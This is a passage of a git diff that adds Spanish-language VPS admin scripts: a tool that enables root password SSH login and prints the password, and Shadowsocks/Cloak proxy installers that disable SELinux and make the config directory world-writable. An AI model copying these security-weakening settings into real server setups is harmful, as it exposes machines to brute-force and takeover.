[0] > " && msg -azu "$(fun_trans "VOLVER")" +msg -bar +while true; do +echo -ne "\033[1;37m$(fun_trans "seleccionar"): " && read selection +tput cuu1 && tput dl1 +[[ ! -z $squid ]] && [[ $squid = $selection ]] && edit_squid && break +[[ ! -z $apache ]] && [[ $apache = $selection ]] && edit_apache && break +[[ ! -z $openvpn ]] && [[ $openvpn = $selection ]] && edit_openvpn && break +[[ ! -z $dropbear ]] && [[ $dropbear = $selection ]] && edit_dropbear && break +[[ ! -z $ssh ]] && [[ $ssh = $selection ]] && edit_openssh && break +[[ "0" = $selection ]] && break +done +#exit 0 +} +main_fun diff --git a/ADM-VENTAS-LEALDROID/request/rootpass.sh b/ADM-VENTAS-LEALDROID/request/rootpass.sh new file mode 100644 index 0000000..1cd7b35 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/rootpass.sh @@ -0,0 +1,50 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +clear +apt-get install figlet -y +apt-get install cowsay -y +echo -e "" +apt-get install lolcat -y +fun_bar () { +comando="$1" + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" + for((i=0; i<10; i++)); do + echo -ne "\033[1;31m##" + sleep 0.2 + done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 && tput dl1 +done +echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +cowsay -f eyes "esta herramienta cambia a usuario ROOT las vps de googlecloud y amazon...." | lolcat +figlet ..dankelthaher.. | lolcat +sleep 4s +sed -i "s;PermitRootLogin prohibit-password;PermitRootLogin yes;g" /etc/ssh/sshd_config +sed -i "s;PermitRootLogin without-password;PermitRootLogin yes;g" /etc/ssh/sshd_config +sed -i "s;PasswordAuthentication no;PasswordAuthentication yes;g" /etc/ssh/sshd_config +echo -e "\033[47;31mATENCION: \033[1;34m ESTA CONTRASENA SERA USADA PARA ENTRAR A SU SERVIDOR LOGEADO COMO ROOT\033[1;31m\033[0m" +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +echo -e "\033[1;31mESCRIBA SU NUEVA CONTRASENA\e[0m" +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +read -p ": " pass +(echo $pass; echo $pass)|passwd 2>/dev/null +sleep 1s +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +echo -e "\033[1;34mCONTRASENA AGREGADA CON EXITO!\e[0m" +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +echo -e "\033[1;34mSU CONTRASENA NUEVA ES: \033[1;32m$pass\e[0m" + +echo "" +fun_bar "service ssh restart" + + sleep 3s \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/shadown.sh b/ADM-VENTAS-LEALDROID/request/shadown.sh new file mode 100644 index 0000000..809e983 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/shadown.sh @@ -0,0 +1,582 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 + +SCPdir="/etc/newadm" +SCPusr="${SCPdir}/ger-user" +SCPfrm="/etc/ger-frm" +SCPfrm3="/etc/adm-lite" +SCPinst="/etc/ger-inst" +SCPidioma="${SCPdir}/idioma" + + +BARRA1="\e[1;36m=-=-=-=-=-=-=-==-=-=-=--=-==-=-=-=-=-=-=-==-=-=-=--=-==-=-=-=-=-=-=-=\e[0m" +BARRA="\e[0;31m--------------------------------------------------------------------\e[0m" + +blan='\033[1;37m' +ama='\033[1;33m' +blue='\033[1;34m' +asul='\033[0;34m' +red='\033[0;31m' +green='\033[0;32m' +yellow='\033[0;33m' +plain='\033[0m' + +num_regex='^[0-9]+$' +function GetRandomPort(){ + echo "Instalacion del paquete lsof. Por favor espera" + yum -y -q install lsof + local RETURN_CODE + RETURN_CODE=$? + if [ $RETURN_CODE -ne 0 ]; then + echo "$(tput setaf 3)Advertencia!$(tput sgr 0) El paquete lsof no se instalo correctamente. El puerto aleatorio puede estar en uso." + fi + PORT=$((RANDOM % 16383 + 49152)) + if lsof -Pi :$PORT -sTCP:LISTEN -t >/dev/null ; then + GetRandomPort + fi +} +function ShowConnectionInfo(){ + clear + echo -e "$BARRA1" + echo -e "${blan}Su servidor IP:${plain} $PUBLIC_IP" +echo -e "$BARRA" + echo -e "${blan}Contrasena:${plain} $Password" +echo -e "$BARRA" + echo -e "${blan}Puerto:${plain} $PORT" +echo -e "$BARRA" + echo -e "${blan}Encriptacion:${plain} $cipher" +echo -e "$BARRA" + if [ $1 == true ]; then + echo -e "${blan}Cloak UID (Admin ID):${plain} $ckauid" +echo -e "$BARRA" + else + echo -e "${blan}Cloak UID:${plain} $ckauid" +echo -e "$BARRA" + fi + echo -e "${blan}Cloak Clave privada:${plain} $ckpv" +echo -e "$BARRA" + echo -e "${blan}Cloak Clave publica:${plain} $ckpub" +echo -e "$BARRA" + echo -e "${blan}Cloak TicketTimeHint:${plain} Dejar predeterminado(3600)" +echo -e "$BARRA" + echo -e "${blan}Cloak NumConn:${plain} 4 o mas" +echo -e "$BARRA" + echo -e "${blan}Cloak MaskBrowser:${plain} firefox o chrome" +echo -e "$BARRA" + echo + echo + ckpub=${ckpub::-1} + ckpub+="\\=" + ckauid=${ckauid::-1} + ckauid+="\\=" + SERVER_BASE64=$(printf "%s" "$cipher:$Password" | base64) + SERVER_CLOAK_ARGS="ck-client;UID=$ckauid;PublicKey=$ckpub;ServerName=$ckwebaddr;TicketTimeHint=3600;MaskBrowser=chrome;NumConn=4" + SERVER_CLOAK_ARGS=$(printf "%s" "$SERVER_CLOAK_ARGS" | curl -Gso /dev/null -w %{url_effective} --data-urlencode @- "" | cut -c 3-) #https://stackoverflow.com/a/10797966/4213397 + SERVER_BASE64="ss://$SERVER_BASE64@$PUBLIC_IP:$PORT?plugin=$SERVER_CLOAK_ARGS" + qrencode -t ansiutf8 "$SERVER_BASE64" + echo + echo + echo -e "${green}O simplemente usa esta cadena:${plain} $SERVER_BASE64" +} +function PreAdminConsolePrint(){ + clear + echo -e "${red}POR FAVOR LEA ESTO ANTES DE CONTINUAR${plain}" +echo -e "$BARRA1" +echo "" +echo "" + echo -e "${blue}Los pasos aqui son semiautomaticos. Tienes que introducir algunos valores tu mismo. Por favor lea todas las instrucciones en la pantalla y luego continue.${plain}" +echo -e "$BARRA1" + echo "" + echo -e "${blue}Al principio, la aplicacion quiere que ingreses la IP y el Puerto de tu servidor. Entra en este:${plain}" +echo -e "$BARRA" + echo -e "${ama}127.0.0.1:$PORT${plain}" +echo -e "$BARRA" + echo -e "${blue}Luego se le pedira Admin UID. Entra en este:${plain}" +echo -e "$BARRA" + echo -e "${ama}$ckauid${plain}" +echo -e "$BARRA" + echo -e "${blue}Ahora entraras en el panel de opciones avanzadas.${plain}" +echo -e "$BARRA" +} +if [[ "$EUID" -ne 0 ]]; then #Check root + echo "Por favor, ejecute este script como root" + exit 1 +fi +if [ -d "/etc/shadowsocks-libev" ]; then + echo -e "${blan}Parece que has instalado Shocksock. Elija una opcion a continuacion:${plain}" +echo -e "$BARRA1" +echo"" +echo -e "$BARRA" + echo -e "${blan}1)${plain} ${blue}Mostrar informacion de conexion(ADMIN)${plain}" +echo -e "$BARRA" + echo -e "${blan}2)${plain} ${blue}Gestion de usuarios${plain}" +echo -e "$BARRA" + echo -e "${blan}3)${plain} ${blue}Regenerar reglas de firewall${plain}" +echo -e "$BARRA" + echo -e "${blan}4)${plain} ${red}Desinstalar Shadowsocks${plain}" +echo -e "$BARRA1" +echo -e "${blan}0)${plain} ${blan}SALIR${plain}" +echo -e "$BARRA1" + read -r -p "Seleccione una Opcion: " OPTION + distro=$(awk -F= '/^NAME/{print $2}' /etc/os-release) + cd /etc/shadowsocks-libev || exit 2 + PORT=$(jq -r '.server_port' < 'config.json') + case $OPTION in + 0) + exit 0 + ;; + 1) + cipher=$(jq -r '.method' < 'config.json') + Password=$(jq -r '.password' < 'config.json') + PUBLIC_IP="$(curl https://api.ipify.org -sS)" + CURL_EXIT_STATUS=$? + if [ $CURL_EXIT_STATUS -ne 0 ]; then + PUBLIC_IP="YOUR_IP" + fi + ckauid=$(jq -r '.AdminUID' < 'ckconfig.json') + ckwebaddr=$(jq -r '.WebServerAddr' < 'ckconfig.json') + ckpub=$(jq -r '.PublicKey' < 'ckclient.json') + ShowConnectionInfo true + ;; + 2) + ckauid=$(jq -r '.AdminUID' < 'ckconfig.json') +echo -e "$BARRA1" + echo -e "${blan}1)${plain} ${blue}Mostrar informacion de conexion para el usuario${plain}" +echo -e "$BARRA" + echo -e "${blan}2)${plain} ${blue}Agregar usuario${plain}" +echo -e "$BARRA" + echo -e "${blan}3)${plain} ${blue}Eliminar usuario${plain}" +echo -e "$BARRA" + echo -e "${blan}4)${plain} ${blue}Abra la consola de administrador${plain}" +echo -e "$BARRA1" + read -r -p "Seleccione una Opcion: " OPTION + case $OPTION in + 1) + Users=() + i=1 + while IFS= read -r line + do + Users+=("$line") + echo "$i) $line" + i=$((i+1)) + done < "usersForScript.txt" + if [ ${#Users[@]} -eq 0 ]; then +echo -e "$BARRA1" + echo "Ningun usuario creado!" + exit 0 + fi +echo -e "$BARRA1" + read -r -p "Elige un nombre de usuario para continuar:" OPTION + i=$((i-1)) + if [ "$OPTION" -gt $i ] || [ "$OPTION" -lt 1 ]; then + echo "$(tput setaf 1)Error:$(tput sgr 0): El numero debe estar entre 1 y $i" + exit 1 + fi + OPTION=$((OPTION-1)) + IN=${Users[$OPTION]} + arrIN=(${IN//:/ }) + cipher=$(jq -r '.method' < 'config.json') + Password=$(jq -r '.password' < 'config.json') + PUBLIC_IP="$(curl https://api.ipify.org -sS)" + CURL_EXIT_STATUS=$? + if [ $CURL_EXIT_STATUS -ne 0 ]; then + PUBLIC_IP="YOUR_IP" + fi + ckauid=${arrIN[1]} + ckwebaddr=$(jq -r '.WebServerAddr' < 'ckconfig.json') + ckpub=$(jq -r '.PublicKey' < 'ckclient.json') + ShowConnectionInfo false + ;; + 2) +echo -e "$BARRA1" + read -r -p "Ingrese un nombre de usuario: " NewUserNickname + NewUserID=$(ck-server -u) +echo -e "$BARRA" + read -r -p "Cuantos dias puede usar el script este usuario? [1~3650]: " -e -i 365 ValidDays + if ! [[ $ValidDays =~ $num_regex ]] ; then +echo -e "$BARRA1" + echo "$(tput setaf 1)Error:$(tput sgr 0) La entrada no es un numero valido" + exit 1 + fi + if [ "$ValidDays" -gt 3650 ] || [ "$ValidDays" -lt 1 ] ; then + echo "$(tput setaf 1)Error:$(tput sgr 0): El numero debe estar entre 1 y 365." + exit 1 + fi + Now=$(date +%s) + ValidDays=$((ValidDays * 86400)) + ValidDays=$((ValidDays + Now)) + PreAdminConsolePrint +echo -e "$BARRA1" +echo "" + echo "Escribe 4 en el panel y presiona enter " + echo "Entrar $(tput setaf 3)$NewUserID$(tput sgr 0) como UID." + echo "SessionsCap es la cantidad maxima de sesiones simultaneas que un usuario puede tener." + echo "UpRate es la velocidad de carga maxima para el usuario en byte/s" + echo "DownRate es la velocidad de descarga maxima para el usuario en byte/s" + echo "UpCredit es la cantidad maxima de bytes que el usuario puede cargar." + echo "DownCredit es la cantidad maxima de bytes que el usuario puede descargar.." + echo "Para ExpiryTime, ingrese $(tput setaf 3)$ValidDays$(tput sgr 0)" +echo -e "$BARRA" + echo -e "${blan}Presione Ctrl + C para salir del panel de administracion${plain}" + echo "" + read -r -p "LEA TODO EL ARRIBA y luego presione Enter para continuar.." + trap "proceso de eco salido." SIGINT + ck-client -a -c ckclient.json + echo + read -r -p "El panel de administracion salio; El proceso fue exitoso o no?? (Viste un \"ok\"?) [y/n]" Result + if [ "$Result" == "y" ]; then + echo "Great!" + echo "$NewUserNickname:$NewUserID" >> usersForScript.txt + elif [ "$Result" == "n" ]; then + echo -e "$BARRA1" + echo -e "${red}Ops!${plain}" + echo -e "${blan}Puede volver a ejecutar el script para volver a crear el usuario.${plain}" + fi + ;; + 3) + Users=() + i=1 + while IFS= read -r line + do + Users+=("$line") + echo "$i) $line" + i=$((i+1)) + done < "usersForScript.txt" + if [ ${#Users[@]} -eq 0 ]; then + echo "�Ningun usuario creado!" + exit 0 + fi +echo -e "$BARRA1" + read -r -p "Elige un nombre de usuario para continuar:" OPTION + i=$((i-1)) + if [ "$OPTION" -gt $i ] || [ "$OPTION" -lt 1 ]; then + echo "$(tput setaf 1)Error:$(tput sgr 0): El numero debe estar entre 1 y $i" + exit 1 + fi + OPTION=$((OPTION-1)) + IN=${Users[$OPTION]} + arrIN=(${IN//:/ }) + PreAdminConsolePrint +echo -e "$BARRA1" + echo "Escribe 5 en el panel y presiona enter." + echo "Entrar $(tput setaf 3)${arrIN[1]}$(tput sgr 0) como UID." + echo "Elija y y presione enter." + echo "Luego presione Ctrl + C para salir del panel de administracion" +echo -e "$BARRA" +echo "" + read -r -p "LEA TODO EL ARRIBA luego presione enter para continuar..." + trap "proceso de eco salido." SIGINT + ck-client -a -c ckclient.json + echo + read -r -p "El panel de administracion salio; El proceso fue exitoso o no?? (Viste un \"ok\"?) [y/n]" Result + if [ "$Result" == "y" ]; then + echo "Great!" + rm usersForScript.txt + touch usersForScript.txt + for i in "${Users[@]}" + do + if [ "$i" != "$IN" ]; then + echo "$i" >> usersForScript.txt + fi + done + elif [ "$Result" == "n" ]; then + echo -e "$BARRA1" + echo -e "${red}Ops!${plain}" + echo -e "${blan}Puede volver a ejecutar el script para volver a crear el usuario.${plain}" + fi + ;; + 4) + PreAdminConsolePrint +echo -e "$BARRA1" + echo -e "${blan}Salir del panel de administracion con Ctrl + C${plain}" + echo + read -r -p "Presiona enter para continuar..." + ck-client -a -c ckclient.json + ;; + esac + ;; + 3) + if [[ $distro =~ "CentOS" ]]; then + echo "firewall-cmd --add-port=$PORT/tcp" + echo "firewall-cmd --permanent --add-port=$PORT/tcp" + elif [[ $distro =~ "Ubuntu" ]]; then + echo "ufw allow $PORT/tcp" + elif [[ $distro =~ "Debian" ]]; then + echo "iptables -A INPUT -p tcp --dport $PORT --jump ACCEPT" + echo "iptables-save" + fi + ;; + 4) + read -r -p "Todavia conservo algunos paquetes como \"qrencode\". �Desea desinstalar Shadowsocks?(y/n) " OPTION + if [ "$OPTION" == "y" ] || [ "$OPTION" == "Y" ]; then + systemctl stop shadowsocks-libev + systemctl disable shadowsocks-libev + rm -f /etc/systemd/system/shadowsocks-server.service + systemctl daemon-reload + if [[ $distro =~ "CentOS" ]]; then + yum -y remove shadowsocks-libev + firewall-cmd --remove-port="$PORT"/tcp + firewall-cmd --permanent --remove-port="$PORT"/tcp + elif [[ $distro =~ "Ubuntu" ]]; then + apt-get -y purge shadowsocks-libev + ufw delete allow "$PORT"/tcp + elif [[ $distro =~ "Debian" ]]; then + apt-get -y purge shadowsocks-libev + iptables -D INPUT -p tcp --dport "$PORT" --jump ACCEPT + iptables-save > /etc/iptables/rules.v4 + fi + rm -rf /etc/shadowsocks-libev + rm -f /usr/local/bin/ck-server + rm -f /usr/local/bin/ck-client + echo -e "${green}HECHO${plain}" + echo -e "${blan}Por favor reinicie el servidor para una desinstalacion limpia.${plain}" + fi + ;; + esac + exit 0 +fi +ciphers=(rc4-md5 aes-128-gcm aes-192-gcm aes-256-gcm aes-128-cfb aes-192-cfb aes-256-cfb aes-128-ctr aes-192-ctr aes-256-ctr camellia-128-cfb camellia-192-cfb camellia-256-cfb bf-cfb chacha20-ietf-poly1305 xchacha20-ietf-poly1305 salsa20 chacha20 chacha20-ietf) +clear +echo +#Get port +echo -e "$BARRA1" +echo -e "${ama}Por favor, introduzca un puerto para escuchar en el. Se recomienda 445${plain}" +echo -e "$BARRA1" +read -p "Puerto: " PORT +if [[ $PORT -eq -1 ]] ; then #Check random port + GetRandomPort +echo -e "$BARRA1" + echo "${asul}He seleccionado $PORT como tu puerto.${plain}" +echo -e "$BARRA1" +fi +if ! [[ $PORT =~ $num_regex ]] ; then #Check if the port is valid + echo "$(tput setaf 1)Error:$(tput sgr 0) La entrada no es un numero valido" + exit 1 +fi +if [ "$PORT" -gt 65535 ] ; then + echo "$(tput setaf 1)Error:$(tput sgr 0): El numero debe ser inferior a 65536" + exit 1 +fi +#Get password +echo -e "$BARRA1" +echo -e "${ama}Introduzca una contrasena para shadowsocks. Deje en blanco para una contrasena aleatoria${plain}" +echo -e "$BARRA1" +read -p "contrasena: " Password +if [ "$Password" == "" ]; then + Password=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1) +echo -e "$BARRA1" + echo "${asul}$Password fue elegido.${plain}" +fi +#Get cipher +echo +for (( i = 0 ; i < ${#ciphers[@]}; i++ )); do + echo "$((i+1))) ${ciphers[$i]}" +done +echo -e "$BARRA1" +read -r -p "Ingrese el numero de cifrado que desea utilizar: " -e -i 7 cipher +if [ "$cipher" -lt 1 ] || [ "$cipher" -gt 18 ]; then + echo "$(tput setaf 1)Error:$(tput sgr 0) Opcion invalida" + exit 1 +fi +cipher=${ciphers[$cipher-1]} +#Get DNS server +echo +echo -e "$BARRA1" +echo -e "${blan}1)${plain} ${blue}Cloudflare${plain}" +echo -e "$BARRA" +echo -e "${blan}2)${plain} ${blue}Google${plain}" +echo -e "$BARRA" +echo -e "${blan}3)${plain} ${blue}OpenDNS${plain}" +echo -e "$BARRA" +echo -e "${blan}4)${plain} ${blue}Custom${plain}" +echo -e "$BARRA1" +read -r -p "Que servidor DNS desea utilizar? " -e -i 1 dns +case $dns in + '1') + dns="1.1.1.1" + ;; + '2') + dns="8.8.8.8" + ;; + '3') + dns="208.67.222.222" + ;; + '4') + echo -e "$BARRA1" + read -r -p "Por favor ingrese la direccion de su servidor DNS (solo una IP): " -e -i "1.1.1.1" dns + ;; + *) + echo "$(tput setaf 1)Error:$(tput sgr 0) Opcion invalida" + exit 1 + ;; +esac +echo -e "$BARRA1" +echo -e "${ama}Ingrese una HOST para conexion con Cloack (dejela en blanco para establecerla la de google.com.mx)${plain}" +echo -e "$BARRA1" +read -p "Host: " ckwebaddr +[ -z "$ckwebaddr" ] && ckwebaddr="gooogle.com.mx" +#Check arch +arch=$(uname -m) +case $arch in + "i386"|"i686") + ;; + "x86_64") + arch=2 + ;; + *) + if [[ "$arch" =~ "armv" ]]; then + arch=${arch:4:1} + if [ "$arch" -gt 7 ]; then + arch=4 + else + arch=3 + fi + else + arch=0 + fi + ;; +esac +if [ "$arch" == "0" ]; then + arch=1 + echo "$(tput setaf 3)Advertencia!$(tput sgr 0) No se puede determinar automaticamente la arquitectura." +fi +echo -e "$BARRA1" +echo -e "${blan}1)${plain} ${blue}386${plain}" +echo -e "${blan}2)${plain} ${blue}amd64${plain}" +echo -e "${blan}3)${plain} ${blue}arm${plain}" +echo -e "${blan}4)${plain} ${blue}arm64${plain}" +echo -e "$BARRA1" +read -r -p "Seleccione su arquitectura: " -e -i $arch arch +case $arch in + 1) + arch="amd64" + ;; + 2) + arch="386" + ;; + 3) + arch="arm" + ;; + 4) + arch="arm64" + ;; + *) + echo "$(tput setaf 1)Error:$(tput sgr 0) Opcion Invalida" + exit 1 + ;; +esac +#Install shadowsocks +distro=$(awk -F= '/^NAME/{print $2}' /etc/os-release) +if [[ $distro =~ "CentOS" ]]; then + yum -y install dnf epel-release + dnf -y install 'dnf-command(copr)' + dnf -y copr enable librehat/shadowsocks + yum -y install shadowsocks-libev wget jq qrencode curl firewalld haveged + firewall-cmd --add-port="$PORT"/tcp + firewall-cmd --permanent --add-port="$PORT"/tcp +elif [[ $distro =~ "Ubuntu" ]]; then + if [[ $(lsb_release -r -s) =~ "18" ]] || [[ $(lsb_release -r -s) =~ "19" ]]; then + apt update + apt -y install shadowsocks-libev wget jq qrencode curl ufw haveged + else + apt-get install software-properties-common -y + add-apt-repository ppa:max-c-lv/shadowsocks-libev -y + apt-get update + apt-get -y install shadowsocks-libev wget jq qrencode curl ufw haveged + fi + ufw allow "$PORT"/tcp +elif [[ $distro =~ "Debian" ]]; then + ver=$(cat /etc/debian_version) + ver="${ver:0:1}" + if [ "$ver" == "8" ]; then + sh -c 'printf "deb [check-valid-until=no] http://archive.debian.org/debian jessie-backports main\n" > /etc/apt/sources.list.d/jessie-backports.list' #https://unix.stackexchange.com/a/508728/331589 + echo "Acquire::Check-Valid-Until \"false\";" >> /etc/apt/apt.conf + apt-get update + apt -y -t jessie-backports install shadowsocks-libev + elif [ "$ver" == "9" ]; then + sh -c 'printf "deb http://deb.debian.org/debian stretch-backports main" > /etc/apt/sources.list.d/stretch-backports.list' + apt update + apt -t stretch-backports install shadowsocks-libev + else + echo -e "${red}Tu debian es muy viejo!${plain}" + exit 2 + fi + apt -y install wget jq qrencode curl iptables-persistent iptables haveged + #Firewall + iptables -A INPUT -p tcp --dport "$PORT" --jump ACCEPT + iptables-save > /etc/iptables/rules.v4 +else + echo "Su sistema no es compatible (yet)" + exit 2 +fi +#Install cloak +url=$(wget -O - -o /dev/null https://api.github.com/repos/cbeuw/Cloak/releases/latest | grep "/ck-server-linux-$arch-" | grep -P 'https(.*)[^"]' -o) +wget -O ck-server "$url" +chmod +x ck-server +mv ck-server /usr/local/bin +#Install cloak client for post install management +url=$(wget -O - -o /dev/null https://api.github.com/repos/cbeuw/Cloak/releases/latest | grep "/ck-client-linux-$arch-" | grep -P 'https(.*)[^"]' -o) +wget -O ck-client "$url" +chmod +x ck-client +mv ck-client /usr/local/bin +#Setup shadowsocks config +rm -f /etc/shadowsocks-libev/config.json +echo "{ + \"server\":\"0.0.0.0\", + \"server_port\":$PORT, + \"password\":\"$Password\", + \"timeout\":60, + \"method\":\"$cipher\", + \"nameserver\":\"$dns\", + \"plugin\":\"ck-server\", + \"plugin_opts\":\"/etc/shadowsocks-libev/ckconfig.json\" +}">>/etc/shadowsocks-libev/config.json +ckauid=$(ck-server -u) #https://gist.github.com/cbeuw/37a9d434c237840d7e6d5e497539c1ca#file-shadowsocks-ck-release-sh-L139 +IFS=, read ckpub ckpv <<< $(ck-server -k) +echo "{ + \"WebServerAddr\":\"$ckwebaddr\", + \"PrivateKey\":\"$ckpv\", + \"AdminUID\":\"$ckauid\", + \"DatabasePath\":\"/etc/shadowsocks-libev/userinfo.db\" +}">>/etc/shadowsocks-libev/ckconfig.json +echo "{ + \"UID\":\"$ckauid\", + \"PublicKey\":\"$ckpub\", + \"ServerName\":\"$ckwebaddr\", + \"TicketTimeHint\":3600, + \"NumConn\":4, + \"MaskBrowser\":\"chrome\" +}">>/etc/shadowsocks-libev/ckclient.json +touch /etc/shadowsocks-libev/usersForScript.txt +chmod 777 /etc/shadowsocks-libev +#Service +rm /etc/systemd/system/shadowsocks-server.service +echo "[Unit] +Description=Shadowsocks-libev Server Service +Documentation=man:shadowsocks-libev(8) +After=network.target network-online.target +[Service] +Type=simple +User=root +Group=root +LimitNOFILE=32768 +ExecStartPre=/bin/sleep 30 +ExecStart=/usr/bin/ss-server +WorkingDirectory=/etc/shadowsocks-libev +CapabilityBoundingSet=CAP_NET_BIND_SERVICE +[Install] +WantedBy=multi-user.target" >> /etc/systemd/system/shadowsocks-server.service +systemctl daemon-reload +systemctl stop shadowsocks-libev +systemctl disable shadowsocks-libev +echo -e "${green}Porfavor Espere 10 segundos...${plain}" +systemctl start shadowsocks-server +systemctl enable shadowsocks-server +#Show keys server and... +PUBLIC_IP="$(curl https://api.ipify.org -sS)" +CURL_EXIT_STATUS=$? +if [ $CURL_EXIT_STATUS -ne 0 ]; then + PUBLIC_IP="YOUR_IP" +fi +clear diff --git a/ADM-VENTAS-LEALDROID/request/shadowsock.sh b/ADM-VENTAS-LEALDROID/request/shadowsock.sh new file mode 100644 index 0000000..607bb8c --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/shadowsock.sh @@ -0,0 +1,1390 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 + +SCPdir="/etc/newadm" +SCPusr="${SCPdir}/ger-user" +SCPfrm="/etc/ger-frm" +SCPfrm3="/etc/adm-lite" +SCPinst="/etc/ger-inst" +SCPidioma="${SCPdir}/idioma" + +# Auto install Shadowsocks Server (all version) +# +# Copyright (C) 2016-2019 Teddysun +# +# System Required: CentOS 6+, Debian7+, Ubuntu12+ +# +# Reference URL: +# https://github.com/shadowsocks/shadowsocks +# https://github.com/shadowsocks/shadowsocks-go +# https://github.com/shadowsocks/shadowsocks-libev +# https://github.com/shadowsocks/shadowsocks-windows +# https://github.com/shadowsocksr-rm/shadowsocksr +# https://github.com/shadowsocksrr/shadowsocksr +# https://github.com/shadowsocksrr/shadowsocksr-csharp +# +# Thanks: +# @clowwindy +# @breakwa11 +# @cyfdecyf +# @madeye +# @linusyang +# @Akkariiin +# +# Intro: https://teddysun.com/486.html + +red='\033[0;31m' +green='\033[0;32m' +yellow='\033[0;33m' +plain='\033[0m' + +[[ $EUID -ne 0 ]] && echo -e "[${red}Error${plain}] This script must be run as root!" && exit 1 + +cur_dir=$( pwd ) +software=(Shadowsocks-Python ShadowsocksR Shadowsocks-Go Shadowsocks-libev) + +libsodium_file="libsodium-1.0.17" +libsodium_url="https://github.com/jedisct1/libsodium/releases/download/1.0.17/libsodium-1.0.17.tar.gz" + +mbedtls_file="mbedtls-2.16.0" +mbedtls_url="https://tls.mbed.org/download/mbedtls-2.16.0-gpl.tgz" + +shadowsocks_python_file="shadowsocks-master" +shadowsocks_python_url="https://github.com/shadowsocks/shadowsocks/archive/master.zip" +shadowsocks_python_init="/etc/init.d/shadowsocks-python" +shadowsocks_python_config="/etc/shadowsocks-python/config.json" +shadowsocks_python_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks" +shadowsocks_python_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-debian" + +shadowsocks_r_file="shadowsocksr-3.2.2" +shadowsocks_r_url="https://github.com/shadowsocksrr/shadowsocksr/archive/3.2.2.tar.gz" +shadowsocks_r_init="/etc/init.d/shadowsocks-r" +shadowsocks_r_config="/etc/shadowsocks-r/config.json" +shadowsocks_r_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR" +shadowsocks_r_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR-debian" + +shadowsocks_go_file_64="shadowsocks-server-linux64-1.2.2" +shadowsocks_go_url_64="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux64-1.2.2.gz" +shadowsocks_go_file_32="shadowsocks-server-linux32-1.2.2" +shadowsocks_go_url_32="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux32-1.2.2.gz" +shadowsocks_go_init="/etc/init.d/shadowsocks-go" +shadowsocks_go_config="/etc/shadowsocks-go/config.json" +shadowsocks_go_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go" +shadowsocks_go_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go-debian" + +shadowsocks_libev_init="/etc/init.d/shadowsocks-libev" +shadowsocks_libev_config="/etc/shadowsocks-libev/config.json" +shadowsocks_libev_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev" +shadowsocks_libev_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev-debian" + +# Stream Ciphers +common_ciphers=( +aes-256-gcm +aes-192-gcm +aes-128-gcm +aes-256-ctr +aes-192-ctr +aes-128-ctr +aes-256-cfb +aes-192-cfb +aes-128-cfb +camellia-128-cfb +camellia-192-cfb +camellia-256-cfb +xchacha20-ietf-poly1305 +chacha20-ietf-poly1305 +chacha20-ietf +chacha20 +salsa20 +rc4-md5 +) +go_ciphers=( +aes-256-cfb +aes-192-cfb +aes-128-cfb +aes-256-ctr +aes-192-ctr +aes-128-ctr +chacha20-ietf +chacha20 +salsa20 +rc4-md5 +) +r_ciphers=( +none +aes-256-cfb +aes-192-cfb +aes-128-cfb +aes-256-cfb8 +aes-192-cfb8 +aes-128-cfb8 +aes-256-ctr +aes-192-ctr +aes-128-ctr +chacha20-ietf +chacha20 +salsa20 +xchacha20 +xsalsa20 +rc4-md5 +) +# Reference URL: +# https://github.com/shadowsocksr-rm/shadowsocks-rss/blob/master/ssr.md +# https://github.com/shadowsocksrr/shadowsocksr/commit/a3cf0254508992b7126ab1151df0c2f10bf82680 +# Protocol +protocols=( +origin +verify_deflate +auth_sha1_v4 +auth_sha1_v4_compatible +auth_aes128_md5 +auth_aes128_sha1 +auth_chain_a +auth_chain_b +auth_chain_c +auth_chain_d +auth_chain_e +auth_chain_f +) +# obfs +obfs=( +plain +http_simple +http_simple_compatible +http_post +http_post_compatible +tls1.2_ticket_auth +tls1.2_ticket_auth_compatible +tls1.2_ticket_fastauth +tls1.2_ticket_fastauth_compatible +) +# libev obfuscating +obfs_libev=(http tls) +# initialization parameter +libev_obfs="" + +disable_selinux(){ + if [ -s /etc/selinux/config ] && grep 'SELINUX=enforcing' /etc/selinux/config; then + sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config + setenforce 0 + fi +} + +check_sys(){ + local checkType=$1 + local value=$2 + + local release='' + local systemPackage='' + + if [[ -f /etc/redhat-release ]]; then + release="centos" + systemPackage="yum" + elif grep -Eqi "debian|raspbian" /etc/issue; then + release="debian" + 